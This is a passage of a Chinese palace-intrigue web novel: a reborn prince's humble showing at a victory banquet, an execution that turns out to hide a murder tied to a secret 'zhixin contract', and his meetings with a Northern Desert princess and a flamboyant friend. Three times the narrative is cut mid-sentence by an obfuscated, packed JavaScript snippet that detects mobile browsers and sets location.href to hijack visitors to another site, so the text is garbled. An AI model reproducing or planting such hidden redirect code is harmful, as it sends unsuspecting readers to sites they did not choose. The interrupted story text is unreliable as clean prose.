她新婚时强撑着讨好他，如今时隔多年，更是满脑子搜罗不出一个字来了，还要干笑着逢迎。表姐已死了二十多年。何况两人相处的时日并不长，她对她的了解并不多。 如今，她已是四十出头的人，生了两个女儿，大的已经要嫁人了，小的也满十岁，还有一个在肚子里，不知是不是个可倚仗的儿子。北漠王要嫁女儿，忽然一下子竟想起这个二十几年不闻不问的大姐来。信中十分热切，说些想念，亏欠，有的没的话。她这个不请自来素未平生的侄女，也对她十分巴结吹捧，拿她当个救命稻草。 他们全不了解，或是知道也装不知道，她这些年的日子过得很艰难。晋王在陛下面前不得脸，她在府里不得宠，嫁进来好几年也无所出。萧谅的大儿子启力，生母是个身份低贱的侍妾，却仗着生下长子，气焰嚣张的很。启力也叫她教坏了，二十年来，没叫过她一声母亲。 为了抓住那一点虚伪的亲情，她怀着身孕，大腹便便，还硬着头皮笨嘴拙舌的来皇后这里为侄女争取。皇后娘娘慧眼如炬，怎会不知道他们打的什么算盘？叫人敲打挖苦一番，面子都丢尽了。晋王向来与皇后不睦，今日之事，能瞒就瞒过他吧。 进得福熙殿，见侄女已被华容郡主拉着落座了。两个姑娘兴高采烈地说着什么，她突然想起她和表姐，那段稍纵即逝的美好的少女时光。 只不过她们不像这两个姑娘一样，漂亮的旗鼓相当。她当时简直像她表姐身旁站着的一头熊似的。 她苦着脸笑了。 11. 再现质心契 南台寰宇殿内，灯火通明，人声鼎沸。琉璃盏倒映着晃动的烛光，凯旋而归的将领们锦衣华服，推杯换盏，庆贺边境战乱的平息。这是一场属于胜利者的盛宴。 萧征踏入这喧哗的大殿，感觉所有的声音都像是与他隔着一层水幕，模糊而遥远。他并未穿着礼部准备给各位皇子的绛纱袍，仅着一身玄色常服，玉冠也选了顶最素净无纹饰的。他低垂着眼，尽可能不引人注目地走到一个不算显眼的席位落座了。 然而，他前几次凯旋宴上的出尽风头，加之他不久前被俘的灰暗经历，都让他今日注定无法成为宴席上的隐形人。 “老十七今日真来了啊？” “嘁，亏他还有脸面，要不是三哥…” 无数或明或暗的目光投射过来，好奇、探究、怜悯，甚至还有几分不易察觉的轻蔑。他能感觉到那些目光像细密的针，一根一根刺满他的全身。 他刚坐下不久，高踞御座之上的皇帝萧弘德，目光便扫了过来。那目光沉甸甸的，带着帝王的威严和一丝难以化解的愠怒。萧征立刻起身，离席，行至长阶之下，撩袍端端正正地跪了下去。 整个大殿的喧闹渐渐平息下来，所有人都看着这一幕。 “父皇，”萧征的声音清晰而稳定，带着刻意练习过的恭谨与悔恨，“儿臣恭贺我军大捷，仰赖父皇天威，将士舍命，方有此胜。儿臣……儿臣却因冒进轻敌，险误军机，若非三哥力挽狂澜，儿臣早已成为萧家之耻。此战之功，儿臣无颜分享；此战之过，儿臣铭刻五内。今日此宴，儿臣本无颜前来，然父皇天恩浩荡，未加罪责，儿臣特来叩谢天恩，并向所有在此战中奋战的将士，献上最深的歉意！” 他伏下身，额头轻轻触地。 这一番话，情真意切，将所有过错揽于自身，将功劳尽数归于陛下、晋王和全军将士。姿态放得极低，倒完全符合一个戴罪皇子的身份。 殿内一片寂静。老皇帝萧弘德看着他伏地的身影，苍老的脸上神色复杂。有怒其不争的焦急，也有看到他如此识大体、懂进退的一丝缓和。吃一回苦头，好歹有些长进。不知道这小子身上的伤好全没有？ “起来吧。”皇帝的声音听不出太多情绪，但比之前日书房中的暴怒，已是天壤之别，“知错能改，善莫大焉。入席吧，今日是庆功宴，莫要扰了众卿雅兴。” “谢父皇。”萧征再拜，这才起身，垂首退回自己的座位。 他刚坐定，便有内侍奉上御酒。这是惯例，皇帝会对有功之臣进行赏赐，或酒，或物。萧征看着那金杯，心中明了，这杯酒，是父皇又给了他一道台阶，也是最后的考验。 他双手接过，却不急于饮下。而是再次起身，端着酒杯，走向此次战役的主帅——他的三哥，晋王萧谅。 萧谅正与几位将领谈笑风生，见他过来，脸上露出温和的笑意，眼神深处却藏着一抹审慎。 “三哥，”萧征举起酒杯，声音不大，却足以让周遭几人听见，“此次多亏三哥及时赶到，否则小弟性命难保。救命之恩，没齿难忘。这杯酒，敬三哥，聊表谢意与歉意。”他言辞恳切，目光真诚，仿佛依旧是那个对三哥充满依赖和敬佩的幼弟。 萧谅笑着举杯，拍了拍他的肩膀，一派兄友弟恭的和睦景象：“跟三哥还说什么谢不谢的，你我兄弟，以后不准再说这些客套话。吃一堑长一智，经此一役，十七弟将来必成大器。”他语带鼓励，心中却因萧征这番过于谦卑、毫无棱角的姿态而微微起疑。这个老十七，难道是真的被吓破了胆，锐气尽失，不足为虑了？ 敬完萧谅，萧征又端着酒杯，走向几位重要的领军将领，一一向他们敬酒致歉，感谢他们为大朔英勇奋战。他的态度无可挑剔，将自己的位置摆得极正——他不是来分享荣耀的皇子，而是来忏悔过失、感谢他人的戴罪之人。 整个宴席期间，他都安静地坐在自己的位置上，很少动筷，只是默默地看着歌舞，听着旁人谈笑风生。有人来敬酒，他便恭敬回礼，浅酌即止，绝不多言。他将自己活成了庆功宴上一个黯淡的影子，与周围的热闹格格不入。 只有在他偶尔抬眼，望向堂上那位日渐苍老的父皇时，眼中才会飞快地掠过一丝复杂难言的情绪。那里面有愧疚，有心疼，更有一种被深深压抑下去的、名为野心的火焰。 父皇，对不起。儿子为了自保，只好让您失望了。 他知道，他今晚的表现，或许会更让父皇觉得他失了志气，但至少，他保全了体面，没有给任何人留下口实，最好也真能麻痹得了萧谅，让他最强大的对手容他片刻喘息。 “寄远”之志，需深埋心底；“有还”之愿，则需步步为营。这场庆功宴，于他而言，不是结束，而是另一场更为凶险博弈的开始。他饮下杯中最后一口微凉的酒，苦涩之意，从舌尖蔓延到心底。 凯旋宴结束，朝臣们散去，众皇子们随父皇往福熙殿去，再赴家宴。 “寄远！”萧弘德掀开车帘把他叫到身边：“你就不必去了，朕另有差事交给你去办。” 秋风起了，正是问斩的好时节。 于是农闲的百姓都往菜市口的刑场去，里三层外三层地围着，伸头探脑地等着。听坐在高台上的官叽里咕噜说一大篇听不懂的官腔话，最后看人头咕噜噜的滚下来。 闲人尚且要去凑一凑热闹，与这死囚有仇之人便更不能不看了。一个女人踮着脚站在人堆里，手里攥着一张很韧的煎饼，边用眼睛钉住死囚的脸，边用后槽牙狠狠地扯下一块饼来。 虽看着这令人作呕的血腥场面，她在此时还能吃得下东西，并且撕咬的很卖力。 仿佛她的牙扯掉的是仇人的鼻子耳朵。 这般闹嚷嚷的人群中，静静站着一个瘦削高挑的年轻人。 若不是此时人们的注意力都在刑场的高台上，少年本是很惹人注目的。 他一身贵重，剑眉星目，气度不凡。 嚓的一声，血喷出来，人们像自己也挨了一刀似的，轰的一下缩着脖子往后退去，然而那年轻人没有动。 他两眼中盈满遗憾与悲悯，还掺杂着其他不足为外人道的复杂情绪，人群已散开，他还久久地站在原地。 台上死囚是父皇当年出生入死的战友，后来却利益熏心，为谋权牟利无所不用其极，终于到了要杀之以绝后患，以快人心的这一天。 他受父皇所托，来送他这位叔叔最后一程。 父皇对他说：你的心肠太软。若要将来自己独当一面，这样的事，多见见吧。 今日做监斩官，他没有选择高高在上地坐在台上俯视众人，而是站在人丛中，细察市井百态。这是父皇的民，是供养他的人。 刽子手捡起地上滚落的，黑布套着的人头。那一会儿是要挂到城墙上去的。 萧征深深地朝那叫鲜血浸透了的黑布袋子望了一眼。 他回头，正对上侍卫袁鸣的眼神，想起袁鸣前世的悲惨结局，心有戚戚。 “殿下，”袁鸣哪知他复杂心思，只是一笑道：“咱们回去吧？还赶得上去福熙殿呢。” 人群散开，两个官府的杂役过来清理地面。一大盆清水泼上来，几锹土盖上去，只消一眨眼的功夫，一条人命断送在这里的痕迹就看不见了。 杂役的大扫帚哗吁哗吁扫着地面，血水从刑架上淌下来。 “啪嗒。” 一张小木片被扫了下来。极细微的一声，可萧征偏偏听见了也看见了，它是从那一汪血泊里掉出来的。 “殿下别拿！”萧征刚伸出手去，袁鸣忙在背后制止他：“那是刑犯的亡命牌，很邪门的！” “什么亡命牌？”他捡起那张浸透了血的木片，待看清了它的样子，脸色顷刻变得煞白。这是比亡命牌还要邪门的东西。 这分明，是一张画过押的质心契。 这不仅是一次依令施行的死刑，还是一场众目睽睽之下的仇杀。 是谁要找他寻仇？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799161|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>此人结仇太多，无从查起，可他罪行确凿，刑期已定，质心阁为何掺和其中？ 胸中疑云遍布，他和袁鸣到城墙下去看那颗人头。 “殿下，”袁鸣呲牙咧嘴地仰头看着：“我总觉得这颗脑袋跟别的死人头不一样。” “哪儿不一样？” “属下小时候，没进宫跟着殿下您的时候，年景乱，砍头的人也多，城墙上总挂着脑袋。”袁鸣盯那颗人头盯的胃里一阵翻涌，低下头捂住嘴强压下恶心：“可那些人的表情都迷迷糊糊，困了似的，或者干脆就像睡着了似的闭着眼睛，没一个让人看着心里这么不好受的。” 萧征看着那人的表情。 双目激凸，大张着嘴，额头面颊青筋遍布，面目狰狞可怖。 不可置信。萧征猛然想到这个词。 已经在死牢里待了半年的人，怎么会不敢相信自己会死？ 斩招，即民间俗称“亡命牌”的木片，本就要在行刑前紧紧插在人犯颈椎骨缝之间，以便行刑时刽子手干脆利落的“一刀过”。插上斩招，人犯极度痛苦，早已奄奄一息，被砍下头颅之前，便已是“半死”之相，表情自然不会如此痛苦夸张。 除非，有人许诺要保下他。他们早就串通一气，今日会让他假死逃走。 监斩官，刽子手，本来一定都是他买通的人。 只是，有人破坏了他的计划，让一个连斩招都没有提前插好的人，让一个自诩权势滔天，早已打点好一切的人，在不可置信的痛苦之中，硬生生被砍了脑袋。 这才是质心阁的计划。 父皇临时的指派，竟丝毫没有干预他们的计划。 行刑时，他若不是远远地站在人群中，就可能会发现蹊跷。有人把一切都算到了。算到监斩官会换人，算到他不会坐在看台那把椅子上… 谁是今日的刽子手？ “袁鸣，跟着我！”萧征上马向刑部飞驰而去，袁鸣懵头懵脑地紧随其后。刑部接待官员恭维巴结的话说了一箩筐，不见书吏拿出名册来。 “今日，本王是替圣上办差。”萧征黑了脸，袁鸣欲拔刀，名册这才抖抖簌簌递到他手上来。 刑部长期养着一群专业的“官刽子手”，家族世袭，世代从事此业，有了名册，找到那人并不费力。 那刽子手死在自己家中，身边架着一块未干的磨刀石。 刀砍了头会卷刃，他回到家里一定细细地把刀重新磨利，然后毫不迟疑地架在了自己脖子上。若不是角度不便，他一定能把自己的头整个砍下来，漂亮地做完今生最后一桩差事。 门外院墙上哗啦一响，袁鸣和萧征一同追出门去。 “谁！” 院墙上空无一人，连个鬼影子都没看见。 “袁鸣，跟我一起追过去！” “别追了殿下，马上快到酉时，宫门要下钥了！”袁鸣扯住萧征：“殿下，这究竟怎么回事啊？从这么一个小木片，竟牵扯出这么多是非来…” “我非查个水落石出，我非把这质心阁幕后之人揪出来不可！” “可是他们也没干坏事啊？”袁鸣不解：“大贪官不是死了吗？按您的推论，还多亏有他们在呢，不是吗？” 萧征情绪喷涌，挣开他红着眼眶嘶吼道：“你才了解他们多少？你知不知道，我今天一看到那个死刑犯，我就想到你死的时候，也是这么——” “我死的时候？！”袁鸣看他像见了鬼：“喝太多了殿下，今日凯旋宴上您实在喝太多了。” 他慌乱地把萧征的手拉到他脖子上：“快别哭了殿下，属下活着呢，属下没死，您看这是属下的脖子，还连着脑袋呢…” 回去的路上，情绪缓和过来的萧征一口咬定自己刚才是耍酒疯。 袁鸣嗯啊地应和着，表示充分理解，然后偷眼盯着萧征骑马的背影发愁：“这安国是给王爷下毒了还是吃了毒菌子了，怎么回来动不动就冒出句胡话，这可怎么办啊这…” 12. 过敏 清蒸螃蟹五花大绑地摆在盘中，被送到福熙殿中参宴的各位贵人桌前。 这是草原全然没有的吃食，郭娑盯着这红壳的怪物，和自己的侍女宝冉不着痕迹地交换了几个眼神，有些局促。 苏萦心领神会，注意到了这位新朋友的窘迫：“让蜜合教她，拆蟹子也没什么难的，一看就看懂了。” 蜜合欣然坐到宝冉身边，教她如何掀蟹壳，剪蟹腿。小心地把蟹胃剥出来，笑着递给苏萦：“给郡主个蟹和尚玩儿。” 小苏兴致勃勃地接过来，用筷子头指给郭娑看：“你看，这就是蟹壳里面躲着的老和尚，这是眉毛，胡子，秃头…凶巴巴的脸！” 郭娑看不大明白，还是微笑着点头。 苏萦突然想到什么，问她道：“郭姐姐，你这汉文名字是谁给你起的？” “是我父王。”郭娑有点紧张：“怎么，意思不好吗？” “有点生僻。”她怕郭娑多想，忙做个鬼脸：“我的名字是母亲起的，也有点生僻。” 郭娑猜到父王是自觉汉话会的多，有意卖弄，不觉有些羞赧。 “那你北漠名字叫什么？” “索隆高娃。” “诶！”苏萦震惊地挑高了眉毛，好家伙，还不如汉文名字，给个气质如此恬静温婉的姑娘，叫锁龙什么什么的。 “多亏你们那里，说汉话的人少。”苏萦敲敲螃蟹壳：“这个，在我们中原有个别称就叫郭索。说螃蟹在沙地里横着走，脚爪发出的声音，就是郭索郭索郭索。你们那边的人，一定不知道，不然准保有人要给你起外号了。” 说她的名字是这红甲壳的虫子？郭娑微微愠怒，可在别人家里做客，总不好发作。 “宫里的人，就是爱给人起外号。我有还哥哥，小时候大家都取笑他这个名字，说他是他娘的小拴子。” “郡主说的，是宫里哪位贵人？” “十七皇子。”苏萦料定她北漠来的，什么也不会知道，又得意地补上一句：“我未婚夫。” 郭娑的目光一暗。她来之前跟姑母细细地打听过，大朔宫中尚未婚配的几位皇子中，步皇后所出的两位嫡幼子，品貌是一等一的好，十七皇子已早早地从军打仗，军中表现更是不俗。她此次随姑母到访，正是奔着这十七皇子来的。没想到在步皇后那里碰了一鼻子灰，还早已被这口无遮拦的小丫头捷足先登。 她一口银牙咬碎，对苏萦递过来的蟹腿也兴致缺缺。 众皇子簇拥着萧弘德上殿，宫眷们全都站起身行礼。郭娑表面不动声色，目光却在几位皇子中梭巡：哪一位是十七皇子呢？ 不光是她，苏萦也满怀期盼地在人群中寻找，可眼见着一个个都落了座，却不见萧征的身影。 “怎么回事？”苏萦焦急地扯了扯蜜合的袖子：“去打听打听，怎么十七殿下没一起回来？” 蜜合去了一阵子，回来附耳道：“陛下半路上叫十七殿下去办差，迟些再过来。” 接下来的这一顿饭的时间，苏萦坐立不安，总皱着眉回头向门口偷望。 眼见宫宴已近尾声，众人酒酣耳热，满房嘈杂，殿外忽有个人影悄然走进，朝龙椅上的朔州皇帝行了个礼，便到下首坐了。 郭娑发现苏萦的脸上一下子有了笑模样。 她不着痕迹地向着那方向望去，瞥见那青年。 真是英俊。 她不无吃味地想。 父汗都给她找些什么样的男子呢？黝黑健壮，膀大腰圆的，站起来比毡房的房顶还要高，硕大的肚子活像鼓皮，能把人顶个跟头。 嫁给那样的男人，准保生些个像她姑母一般蠢相的大胖丫头。 嫉妒似乎涌上全身，她脖颈胸口上莫名地发紧发痒。 “哎呀，你过敏了！”苏萦惊呼。郭娑这才向脖子上一摸，不知何时起了连片的红疹子。 苏萦惊急，也顾不得宫宴礼仪，立刻起身：“郭姐姐别慌，我宫里备着上好的止痒药膏，我这就去取过来！” 她行事向来风风火火，加之对朋友的关切占了上风，只匆匆向主位的帝后方向屈膝一礼，便提着裙摆，带着蜜合快步离开了喧闹的大殿。 郭娑本想阻拦，奈何喉间与胸前的痒意实在难忍，苏萦又跑得快，只得由她去了。侍女宝冉在一旁焦急地用北漠语低声询问，郭娑微微摇头，示意自己还好。 就在这略显狼狈与尴尬的间隙，一个身影，在她面前的桌案旁停顿了下来。 郭娑下意识地抬头。 方才在殿门口惊鸿一瞥的英俊青年，此刻就站在离她几步之遥的地方，目光正落在她身上。 四目相对的瞬间，萧征的心像是被一只无形的手狠狠攥住，呼吸都为之一滞。 是她。 那张曾在他梦中萦绕千百回，最终却与“欺骗”、“背叛”、“国恨”交织在一起的脸，此刻就清晰地出现在眼前。 她没死，活得好好的……你又被她骗了…… 苏萦冰冷带刺的话语，还回荡在他耳边。 可是年少时一同逍遥纵马的时光，他被贬为庶人后山村小屋中相濡以沫的岁月…这些也都是真的啊。 两种截然相反的情绪——深入骨髓的怜惜与遭逢欺骗的心寒——在他胸中剧烈地冲撞、撕扯，让他一时间竟僵在原地，忘了反应。 他该恨她的。他一定要恨她。 可当他看到她因呼吸微促而轻轻起伏的肩头，看到她眼中那份因陌生环境与突发状况而产生的、不似作伪的局促与无助时，他实在硬不起心肠。 郭娑被他这过于直白、复杂且长久的目光看得有些不安。她依礼起身微微颔首，声音轻柔，带着一丝气弱：“北漠王女郭娑，见过十七殿下。” 她的声音，将他从混乱的思绪中猛地拉回。 萧征几乎是仓促地垂下了眼睫，掩去眸中翻涌的所有情绪。他不能再看了。多看一眼，前世那份倾慕与依赖的余烬，仿佛就要复燃，灼烧得他五脏六腑都在抽痛。 他沉默地向前走了半步，下意识的靠近，却又因他紧绷的身体而显得生硬疏离。他没有回应她的问候，反而是目光落在她颈间的红疹上，喉咙有些发紧，声音不自觉地放低了些，带着一丝他自己都未察觉的沙哑。 “郭姑娘，”他开口，语气却不复前世的温柔，带着一种刻意维持的平静，“可是用了蟹肉不适？” 郭娑微微一怔，没想到他开口是关心这个，轻轻点头：“让殿下见笑了，草原上没有这等食物……” “既知不适，往后就避开些吧。” 萧征的语气变得更加淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799162|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漠，甚至带上了一丝不易察觉的告诫意味：“有些东西，看似鲜美，实则伤人。” 说完，他不等郭娑回应，毅然转身。那背影依旧挺拔，却带着一丝近乎落荒而逃的仓促，仿佛多停留一刻，苦苦维持的冷静外壳就会彻底碎裂。 他从前见过我吗？ 郭娑看着他离去的背影，喉咙的□□感愈发强烈。 这位十七皇子的态度，太过奇怪。那眼神，盯得她发慌。 “奴婢觉得，十七皇子对郡主有意。”宝冉低下身子，对她附耳说到。 哦？ 这话莫名地鼓舞了郭娑。她又向着那人远去的方向一瞥。 有未婚妻又怎样？乾坤未定。 正这么想着，苏萦捧着一个小巧的白玉药盒，气喘吁吁地跑了回来。 “郭姐姐，药来了！”她急切地将药盒递给宝冉，对刚才暗流涌动的短暂交锋全然不知。只顾着看向郭娑，关切地问：“你感觉怎么样？还痒得厉害吗？” 宝冉蘸了药膏的手，轻轻按在她颈间，冰凉的触感暂缓了不适。她垂下眼睫，掩去眸中翻涌的思绪，再抬头时，已恢复了那温婉柔顺的模样，对苏萦感激地笑了笑：“好多了，真是多谢华容妹妹。这药膏很清凉。” “郡主，十七殿下好像刚出去了。”蜜合提醒道。 “啊？”苏萦这才想起萧征，回头望了一眼，果然见那席位空荡，懊恼地一拍大腿：“我刚没看见！真走了啊？” 萧征一径走出福熙殿，走向等候在外的袁鸣。 “殿下，怎么这么快就出来了？”袁鸣正靠在庭柱上打瞌睡，慌忙站直了身子：“宴席结束了吗？” 萧征只是直直朝前走。袁鸣朝身后一瞥，各宫里的下人还都在外头等着呢。只好茫茫然然地紧跟上。 “那质心阁的事还查不查呀？咱们今天闯刑部的事，您跟陛下说过了吗？”袁鸣一急，话就密的很，可萧征今日就是锯嘴葫芦似的一言不发。 回到房中，他研磨铺纸，要把今日发生之事全都记录下来。前世今生的回忆太多，在脑海中混成一团乱麻，搅得他烦闷不堪，需静下心好好捋出一条头绪来。 袁鸣被晾在一边，便将近日军中才送回来的行李拆拆理理。 “殿下，”见萧征搁下笔闭目沉思，袁鸣试探着发问：“给华容郡主买的布料，什么时候给她送去呀？” 萧征睁开双眼，满眼都是茫然疑惑：“我给她买的？” “您给她买的。”袁鸣见他又记不起来事，心中叫苦，抿嘴闭眼吸一口气，深深地点头表示十分肯定：“咱们军队经过南濮境的时候，您说他们那儿的人穿的衣裳料子纹样在大朔没见过，送一匹给郡主，让她瞧个新鲜。” 袁鸣又掏出几个鼓囊囊的袋子：“这儿还有您给她买的裹糖核桃和乳扇，在袋子里捂了好几个月，想是不能吃了，就不送了吧？” 他第一次从军的时候，还记得给她带纪念品？ 真是毫无印象，简直不敢相信是自己做出来的事。 他哑然失笑。 原来他也曾是念着她的。念着留在宫里的她，喜欢新鲜吃食，爱做漂亮衣裳。 “先放着吧，”他笑着叹一口气，将笔尖在砚台上当了当：“等过一阵不忙，我亲自给她送过去。” 13. 许长眉 赏明宫的几盆蟹爪菊今年开的极好。 苏萦与平日交好的两位公主一起在赏明宫院子里喝茶赏花。 “华容妹妹，”十五公主雨酥本来一直坐在一旁静静地吃着蟹粉酥，忽然转过脸问苏萦道：“昨日宫宴上与你同坐的北漠王女，妹妹对她了解多少？” “雨酥姐姐这么问，是觉得她这人不对劲？”苏萦头也不抬，闲闲地用指尖转着茶杯。 “昨日妹妹离席，我看见十七弟，过去跟她说了几句话。” “人家说几句话你们就要起疑心！”十四公主珉雪忽然尖着嗓子不耐烦地抢白：“我十七弟一表人才，哪个年轻姑娘不想与他结交，难不成只许跟你华容郡主一人说话，别人见了他都得装哑巴不成？” “珉雪姐姐，”苏萦冷笑：“怎么吃也堵不住姐姐的嘴。昨日宫宴，姐姐未被邀请参加，错过了现蒸的活蟹，今日这蟹粉酥，我本是单为姐姐做的呢。” 雨酥虽然听出苏萦是讽刺，还是有点局促地收回了想再拿一块的手。这一会儿苏萦和珉雪都还没尝过，大半盘子已到了她肚子里了。 “谁稀罕吃你们的螃蟹！”珉雪把盘子往外一推，眼见要滑到桌边，雨酥忙从旁扶住了。点心落到地上岂不可惜。她还盘算着一会儿剩了，让苏萦许她包了拿回去呢。 珉雪不甘心地又说：“要我说，还得是——” “还得是你嫂子家的炸蝎子烤沙虫。”苏萦丝滑地接口道。 雨酥抿了抿嘴，想笑又不好笑。 珉雪和雨酥的生母都是不蒙圣宠的低位嫔妃，两人同年立春前后各生了一位公主，萧弘德以政事繁忙为由，看都没去看过一眼，这应景的一双名字，还是礼部的巧思。当年十月，步皇后诞下十七皇子，萧弘德却宝贝的不得了，自己在御书房处理政务时都常将孩子抱在膝上。 雨酥的生母叶才人，是八公主的寄名养母，说是养母，两人年龄相仿，毋论什么养育之恩，只是个名头罢了。八公主后来做了卫国公夫人，正是苏萦的舅母。叶氏自己又生了一双儿女，都是不争不抢的温吞性子。雨酥的哥哥九皇子萧禹，虽能力平常，也跟着父亲兄弟们一同上阵杀敌，凯旋宴上论功行赏，也得了父皇几句嘉奖。 珉雪的同母兄，六皇子萧旭，却是文不成武不就的懦弱惫懒性子，遇事便往后缩，当官打仗，一概袖手，三十几岁的人了，只封了个国公。唯一可拿出来说一说的，便是西厦国的公主来和亲，被萧弘德草草地赐给了他做王妃。珉雪深以为荣，从此以西厦皇室的姻亲自居，平日里聊天的时候，拐着弯也要说两句西厦国的好。 “炸蝎子烤沙虫，下酒最好了。”雨酥装作很感兴趣。 “雨酥是老吃家了。”珉雪不屑地嗤笑，离席到后园去看蟹爪菊。 雨酥忙将手覆在苏萦手背上：“妹妹，我刚说的——” “我会提防她的，多谢姐姐。”苏萦朝她点点头。 “雨酥，你快跟我过来呀！”后园传来珉雪的催促。雨酥朝苏萦赧然一笑，站起身朝后园走过去了。 苏萦望着她的背影，轻轻叹了口气。 晋王妃和郭娑的意思，她一早就听出来了。她也知道，凡能从异国来和亲的，就不会是傻子。可她不认为郭娑敢打萧征的主意。 就算是她敢想，陛下和母后也不会同意。北漠是什么地方？陛下还年轻力壮的时候，今天打下他们一个旗，明天吞并他们一个部，现在北漠对大朔，几乎是半臣属国的姿态了。陛下会让他最看重的小儿子，娶一个臣属国的女人做正妻吗？依她看，郭娑最后，也不过就会像六皇子妃一样，被随便塞给哪个陛下连名字都记不住的皇子皇孙。 她要是不存着非分心思，倒挺适合做个朋友。苏萦心想。 她在这宫中住了快十年了，除了身边伺候的姑娘们，一个知心朋友都没有。雨酥固然是好的，可惜总是没单独相处一会儿，就被珉雪拉走。珉雪那两张刻薄的小薄嘴唇，嘬的上嘴唇尖尖的，恶狠狠地骂雨酥：“分不清谁亲谁疏！” 皇城东南角的畅音阁，绕阶走上来两个青年。前头那个心无旁骛地一径上了三楼，站定向皇城中俯瞰，后面那个步伐颇有些不稳重，走走停停，什么都好奇地摸摸看看。 正是萧征和他的好友许长眉。 许公子其人，顶上有六个姐姐，下头有一个妹妹。他是许家唯一的男孩子，又长得好，十足的少爷脾气，照着湖面也要整整仪容，正正发冠，欣赏欣赏自己的面庞，十足地有些自恋在身上。长眉本是许父为他起的乳名，从这便足见他父亲十分爱重他，寄予他长寿与智慧的厚望。 他是票友，捧着京城的几个名角儿，自己也很会唱两句，他身段好，长相漂亮，嗓音不算豁亮，不过不妨，他是唱小生的，那震天撼地的“力拔山兮气盖世”与他不挨着。 看惯了戏，听惯了急促的鼓点，喧闹的叫好，见惯了色彩纷呈的脸谱和行头，便觉得什么都不够热闹。他日常穿衣服也花哨，表情动作也夸张，很不庄重的一个人。 像萧征这等皇亲贵胄，旁的世家子弟都恭顺地躲远些，不敢去攀附，可这许公子让家里宠惯坏了，胆大包天，偏赶着要来招惹。 萧征少时，也乐得交一个这样不寻常的朋友。 细论起来，两人还有亲，长眉的母亲是陛下的二女儿。可他懒得让这么一个爱卖弄攀比的少年叫自己一声小舅舅，知道他也一定不愿意。 他上辈子结果如何？萧征记不太清了。仿佛是泯灭于人海，不知所终了。 “小王爷！”许长眉笑嘻嘻地叫他，朝他走过来。 今日萧征出宫去调查，偶遇了他，他偏要跟着进宫，来看看才搭成不久的畅音阁。 “还没问你，这回回来待多久啊？等你忙过这一阵子，我请你吃酒！” “诶，你看什么呐！” 许长眉见他不搭茬，顺着他的目光看过去，不知是哪位贵人的宫苑，几个姑娘在院子里头捉迷藏呢。中间的一个用手绢蒙住眼睛绑在脑后，摸索着往前走，旁的姑娘们就四散在她周围，掩着口偷笑着，不远不近地躲着等她来寻。见她笨头笨脑地半天也没有扑住一个，反倒自己撞在桌子上一个趔趄，远远地冷眼瞧着的萧征，眉心不自知地起了褶皱。 那姑娘哎哟一声痛叫，几个姐妹忙凑上前来为她解开了挡眼的手绢，一个扶她坐下帮她揉着。 手绢摘下来露出一双美极的杏仁眼，眼尾下垂，满含着委屈，樱桃似的小嘴儿也扁起来，一副可怜巴巴的小模样，煞是叫人怜爱。圆润的脸蛋儿，却恰到好处顺出一个小尖下巴，满面的富贵福气。福气和稚气混在一张脸上，世家的贵女，让人一望去就知道她是年纪最幼最娇贵的一个，实际的年龄还要比人猜出的年纪长个两三岁。 才自己抹了把眼角，又一眼瞥见了一旁的秋千：“哎？这秋千终于修好啦！”看都没看就跑过去要朝上坐，旁边一个穿蓝衣服的连忙拉住她：“这上面的漆还没干呢！” “啊！”那姑娘一声懊恼的尖叫：“我的衣服！” 萧征抬手抵在鼻下，喉咙里滑出一个笑音。 “怎当他临去秋波那一转，休道是小生，便是铁石人也意惹情牵。”［1］许长眉忽在他身旁低声哼唱出一句戏文来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799163|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 萧征脸色一沉。许长眉丝毫未察觉，还兀自感叹道：“这姑娘倒是傻得可爱。这样的姑娘啊，最适合娶回家了！” “这话怎么说？”萧征眯起眼睛玩味地问。 “你看她这一惊一乍的小模样，心里不藏事儿，不像有些姑娘心事重，背地里跟你藏心眼儿，日子过得都累。你再瞧她这穿衣打扮，在那一群姑娘里最是华丽贵重，要不是你的姐妹，那父亲官职定在三品往上。母家尊贵的娇憨大小姐，当然是全天下最理想的夫人咯！” “哦，可娶她没那么容易。”萧征冷哼一声：“想娶华容郡主，要先过她哥哥这一关。” “什么？感情这就是你妹妹！”许长眉惊诧道：“之前听你提起她，话语中满是嫌弃，说她又是娇气又是脾气不好，原来竟是这样一位可人儿，从前还与我藏着掖着呢！” 见他还探头探脑地朝那边张望，萧征一把扯过他来，自己挡在他与围栏之间：“不许看。” 许长眉皱起脸儿来央求：“小王爷，算我求你了，女孩子要是看了就会化掉的，我家里那么多姐姐妹妹，我成天在家里，还不得捂着眼睛贴着墙根儿走了？” 